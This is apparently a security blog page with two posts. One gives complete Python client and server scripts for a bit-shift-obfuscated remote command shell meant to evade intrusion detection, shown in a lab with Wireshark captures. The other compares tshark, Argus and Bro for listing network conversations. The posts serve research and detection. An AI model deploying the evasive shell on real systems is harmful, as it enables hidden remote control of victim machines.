Friday, November 25, 2016

Red vs. Blue: Evasion with Bit-Shifting

Introduction

In a nutshell, bit-shifting is a technique where the original data, at it's bit-level (1's and 0's) is "shifted" one or more entries to the left or the right. Below are examples with the original byte of 00100101 (or 37 in decimal... or 25 in hexademical) and shifted one bit left and right.

Bits shifted left one spot, converted to 01001010 (or 74 in decimal... or 4a in hexadecimal):



Bits shifted right one spot, converted to 10010010 (or 146 in decimal... or 92 in hexadecimal):


We will be getting into how adversaries could use this technique to evade intrusion detection and, with your help, possible ways to detect or prevent this on our network.

The Environment

I only used two machines to implement bit-shifting: one client and one server. The client will be our attacker's machine and the server will be our victim machine. For the attacker's machine, I just reused my Security Onion virtual machine from the last article as it has python, but any Linux distro or a Windows or Mac machine with python installed would work just fine. For the victim's machine, I used a Xubuntu Linux virtual machine with minimal specs (1 GB RAM and 2 processors). Both of these are running in Virtualbox on Windows 10.

The Code

On my new Github "evasion" repository, I have client and server bit-shifting Python scripts. The only pre-requisite is that both the victim and attacker have python installed. Most (if not all) Linux distributions have python available by default so those would be easy. Windows does have python distros as well, but may stick out like a sore thumb if the victim's organization is doing any kind of application monitoring (most are not). One of the next things on my list is a Powershell version of the server script as that's on ALL Windows 7 or newer operating systems in some form and is typically not logged very well... if at all.

bitshift-client.py

import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ("172.16.0.201",4444)
print >>sys.stderr, 'Connecting to %s, port %s' % server_address
sock.connect(server_address)
try:
while True:
cmd = raw_input('# ')
cmd = cmd.strip()
message = ''
for i in cmd:
tempint = ord(i) << 1
message += chr(tempint)
sock.sendall(message)
data = sock.recv(2048)
message = ''
for i in data:
tempint = ord(i) >> 1
message += chr(tempint)
print message
finally:
print >>sys.stderr, 'Closing socket'
sock.close()

bitshift-server.py


import socket
import sys
import subprocess
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_address = ('172.16.0.201', 4444)
print >>sys.stderr,'Starting up on %s port %s' % server_address
sock.bind(server_address)
sock.listen(1)
while True:
print >>sys.stderr, 'Waiting for connection...'
connection,client_address = sock.accept()
try:
print >>sys.stderr, 'Connection from %s', client_address
while True:
command = ''
data = connection.recv(1024)
for i in data:
tempint = ord(i) >> 1
command += chr(tempint)
print >> sys.stderr, 'Received "%s"' % data
if data:
command = command.strip()
print command
output = subprocess.check_output(command.split())
ret_mesg = ''
for i in output:
tempint = ord(i) << 1
ret_mesg += chr(tempint)
if (ret_mesg == ''):
ret_mesg = '\n'
connection.sendall(ret_mesg)
else:
print >>sys.stderr, 'No more data from %s', client_address
break
finally:
connection.close()

Note: The server IP and port are hard-coded... so make the necessary changes if you want to try this out yourself (or, better yet, make these command-line options)

What is the code doing?

It's actually pretty simple (although I did script this with the greatest of faux-pas... no comments). 

The client script would be on our attacker machine and would be sending commands to the victim's listening port -- opened by the bitshift-server.py script. When the attacker types his/her commands, the script performs a "bit-shift" to the left one place, character by character, and sends the newly shifted command to the server (victim). When the client receives the results back from the server, these results have also been shifted to the left by the victim machine and the client (attacker) must perform a bit-shift to the right to get the plain-text characters.

The server script would be running on our victim machine (preferably with admin rights) and is essentially a reverse shell listener... in a way. You don't get the full range of commands, but enough to be dangerous (especially if it's running as root). Once it receives data from the client, it takes each character and performs a right "bit-shift" on the data. When it responds back to the client, it does just what the client does... shifts the output data to the left, character by character and sends to the client.

That's a lot to absorb, so we'll see this from the attacker's point of view and what's being seen on the wire.

Seeing the scripts in action

First order of business is to launch Wireshark on the Security Onion (attacker) VM so we can see the traffic "on the wire": 

sudo wireshark

To start the listener (server) on the victim Xubuntu machine, it's as simple as running:

sudo python bitshift-server.py

On the attacker (client) machine, it's just as easy. Open a new terminal and issue the following command:

sudo python bitshift-client.py

Once the client starts, it initiates a TCP three-way handshake and is ready to send data to the server. I'll just send a little test to see who we are on the victim machine:

# whoami
root
  • Client request
  • Response from server


Looks pretty simple, but let's see what Wireshark saw by stopping our capture. First, as there was a little noise from our two machines, I just want to see the traffic between the two, so I set the display filter to:


That leaves me with 7 frames. The first three are the three-way handshake...


The next one is the "whoami" command sent to the server (PSH/ACK), which we should see the contents in the Data field of the Packet Details pane...



We should be seeing the hexadecimal representation of "whoami" in the Data field (which is 77686f616d69, by the way -- see the ASCII man page so you can do this yourself) and, in Packet Bytes, Wireshark converts all hex to ASCII for us which, if whoami was sent, would be shown in the blue highlighted area above. So why are we seeing eed0dec2dad2? Let's break down the bit-shifting that's happening in our scripts and on the "wire":



I've circled the hex that Wireshark was seeing, so hopefully it's making a little sense now. We also saw that the server sent back "root" as the response to whoami. Let's try to figure out what we should see in Wireshark:


So... we should see e4dedee8 in Wireshark's next PSH/ACK being sent from our server to our client. Here's what was found:


We do see our e4dedee8... but what's with the "14" tacked onto the end? Let's do a little reverse engineering and see what else was sent:

14 (hexadecimal) = 00010100 (binary)

bit-shift to the right... 00010100 > 00001010

00001010 (decimal) = 0a (hexadecimal)

Now, we can look at our ASCII man page again and see that 0a = '\n' (newline)... which certainly makes sense.

How do we catch it?

From a network monitoring perspective, I really have no idea unless there's an IDS or IPS that has a pre-processor that can "un-bit-shift" the data, then send the shifted data through its rulesets. The attacker could easily modify his code to bit-shift to the right first, then left once the obfuscated command is received, bit-shift more than one place, or even alternate shifting techniques during the single conversation. That would be a lot of processing of data and could easily overload an IDS.

This was just a simple whoami command. Imagine what other commands you could send via bit-shifting with room privileges... Comment below if you have any ideas how this relatively simple evasion technique can be detected.

Wednesday, November 23, 2016

Blue Team: Conversations with Multiple Tools

Introduction

There are often times during network analysis where we would really love to get a good sense of communications between endpoints. Sometimes we don't have all the fancy tools in our environment, so I'll show a few ways to accomplish what would seem to be a simple task.

The Environment

This one's easy to replicate on your own as I am simply using a Security Onion 14.04 virtual machine in Virtualbox and the included packet capture located at /opt/samples/mta/2014-12-05-phishing-email-traffic.pcap.

The virtual machine setup is rather simple as well. I allocated just 2GB RAM, 2 processors, and two virtual NICs (one for management and one for sniffing). I followed the Security Onion wiki to set up a production, standalone instance using best practices (a lot of next -> next -> next...).

Viewing "2014-12-05-phishing-email-traffic.pcap" in Wireshark

Wireshark does give us the capability to view conversations sorted by relative time (default).



As shown below, it does not allow us to view all TCP and UDP conversations together in an attempt to write the story, so we would need to bounce back and forth between tabs. 




Also, once we get into a mass amount of traffic, we may find ourselves constantly adjusting a display filter and then selecting "Limit to display filter" which, if we have a large number of packets in our capture, adds time.

What about tshark?

tshark does make this process a little bit faster, but has the same limitations as Wireshark... and more. First, when viewing conversations in tshark, you must select which type of traffic you want to see. Below are the available options (pulled from man tshark):

"eth"   Ethernet
"fc"    Fibre Channel
"fddi"  FDDI
"ip"    IP addresses
"ipx"   IPX addresses
"tcp"   TCP/IP socket pairs  Both IPv4 and IPv6 are supported
"tr"    Token Ring
"udp"   UDP/IP socket pairs  Both IPv4 and IPv6 are supported


Again, we are limited by taking multiple steps to see all conversation data that we're interested in. We have to do significant command-line Kung Fu with"awk" and "sort" to put this into a timeline.

Let's say we just want to see TCP and UDP communications from our packet capture:

First, we must capture all of the TCP conversations...

tshark -r /opt/samples/mta/2014-12-05-phishing-email-traffic.pcap -z conv,tcp -q -n | awk '!/[=A-Za-z]/ {print $10,"\011","TCP","\011", $1,"\011",$2,"\011",$3,"\011",$9}' > tsharkout.txt
  • Read in packet capture
  • Show TCP conversations
  • Do not show packet details before conversation list or do name resolution
  • Remove lines with equals signs or alpha characters, then print the relative timestamp, TCP, source IP/port, destination IP/port, and total bytes transmitted
  • Write to a temporary file
Then, we must capture all UDP conversations...

tshark -r /opt/samples/mta/2014-12-05-phishing-email-traffic.pcap -z conv,udp-q -n | awk '!/[=A-Za-z]/ {print $10,"\011","UDP","\011", $1,"\011",$2,"\011",$3,"\011",$9}' >> tsharkout.txt
  • Read in packet capture
  • Show UDP conversations
  • Do not show packet details before conversation list or do name resolution
  • Remove lines with equals signs or alpha characters, then print the relative timestamp, UDP, Source IP/port, Destination IP/port, and total bytes transmitted
  • Append to our temporary file
Now, we have all of our data in a file, but it's severely out of order. tshark sorts conversations by highest number of frames and is not customizable. On top of that, all of our TCP conversations were written prior to the UDP conversations. The next step is rather simple to fix this...

cat tsharkout.txt | sort -n > conv-sorted.txt
  • Display our temporary file
  • Sort the data in numeric order
  • Write to our final conversation list


Whew! That was a lot of typing. What if we want to filter our data on an IP of interest (example: 172.16.0.201)? We'd have to edit both tshark commands by adding | grep "177.124.228.4" just before both file redirections (> and >>) and redoing our sort:

tshark -r /opt/samples/mta/2014-12-05-phishing-email-traffic.pcap -z conv,tcp -q -n | awk '!/[=A-Za-z]/ {print $10,"\011","TCP","\011", $1,"\011",$2,"\011",$3,"\011",$9}' | grep "177.124.228.4" > tsharkout.txt

tshark -r /opt/samples/mta/2014-12-05-phishing-email-traffic.pcap -z conv,udp-q -n | awk '!/[=A-Za-z]/ {print $10,"\011","UDP","\011", $1,"\011",$2,"\011",$3,"\011",$9}' | grep "177.124.228.4" >> tsharkout.txt

cat tsharkout.txt | sort -n > conv-sorted-177-124-228-4.txt


    Enter: Argus

    Of course, all of this could be scripted, but Argus, by default, does allow for all of this as well as easily add searching (via egrep) just by adjusting our commands. Here's our example, again, using Argus:

    First, convert the pcap to something the ra command can work with...

    argus -r /opt/samples/mta/2014-12-05-phishing-email-traffic.pcap 
    -w out.argus
    • Read in the packet capture
    • Write to an .argus file
    Next, we'll use the ra command to get the output that we're looking for. In our case, we want the same fields that tshark gave us...

    ra -n -r out.argus -s stime proto saddr sport daddr dport bytes > argus-conv.txt
    • Do not resolve names and read in our .argus file
    • Choose the relative start time, protocol (this would even include non-TCP and non-UDP data), source IP/port, destination IP/port, and total bytes transferred
    • Write to argus-conv.txt

    That was much easier and highly customizable if you want to see more/less fields and look, it's default sorted by relative time! The available fields are listed in the argus man page (man argus) under the -s flag (WAY too many to list here).

    Just like our Wireshark example, I'll show how simple it is to filter by an IP of interest. We can leave our argus command alone and just modify the ra command by adding an egrep command.

    ra -n -r out.argus -s stime proto saddr sport daddr dport bytes | egrep "(Start|177.124.228.4)" > argus-conv.txt

    The egrep command is simply displaying all lines that match the string "Start" (so we get our top line) or the IP of interest. This can easily be adjust by looking for other strings (port numbers, for example).


    Last, but not least... Bro

    Bro is just as useful and also requires two separate commands to get the job done. It's also very easy to use:

    First, let's run the packet capture with bro (which writes out many log files in our current directory)...

    sudo bro -r /opt/samples/mta/2014-12-05-phishing-email-traffic.pcap
    • Run as root (it'll still work without, but you get some errors)
    • Read in the packet capture file
    Now we should have quite a few .log files in our current directory. The one we're interested in is conn.log. Next, we'll run bro-cut to pull the same data as the last examples...

    cat conn.log | bro-cut -d ts proto id.orig_h id.orig_p id.resp_h id.resp_p orig_bytes resp_bytes > bro-conv.txt
    • conn.log will be the input to bro-cut
    • Display time as human-readable (otherwise it's epoch time)
    • Show us the timestamp, protocol used, source IP/port, destination IP/port, and bytes sent from our source and destination
    • Write results to bro-conv.txt


    Just like with Argus, our results are ordered by time by default. If you want to know what other columns bro-cut can handle, simply look at the beginning of conn.log. You can also conduct bro-cut against other logs, but their columns may be different, so looking at the top of the log, again, will help you out with using bro-cut.

    Also like Argus, filtering by an IP is very easy. We'll just rerun our bro-cut command with grep tacked on before the file write...

    cat conn.log | bro-cut -d ts proto id.orig_h id.orig_p id.resp_h id.resp_p orig_bytes resp_bytes | grep "177.124.228.4" > bro-conv.txt


    Wrap up

    I'm sure there's a ton of other tools that are out there in the wild, but, like I said earlier, sometimes you're limited by what you have available (in this case, Security Onion). Feel free to leave any comments if you have any better approaches to tracking conversations in a packet capture.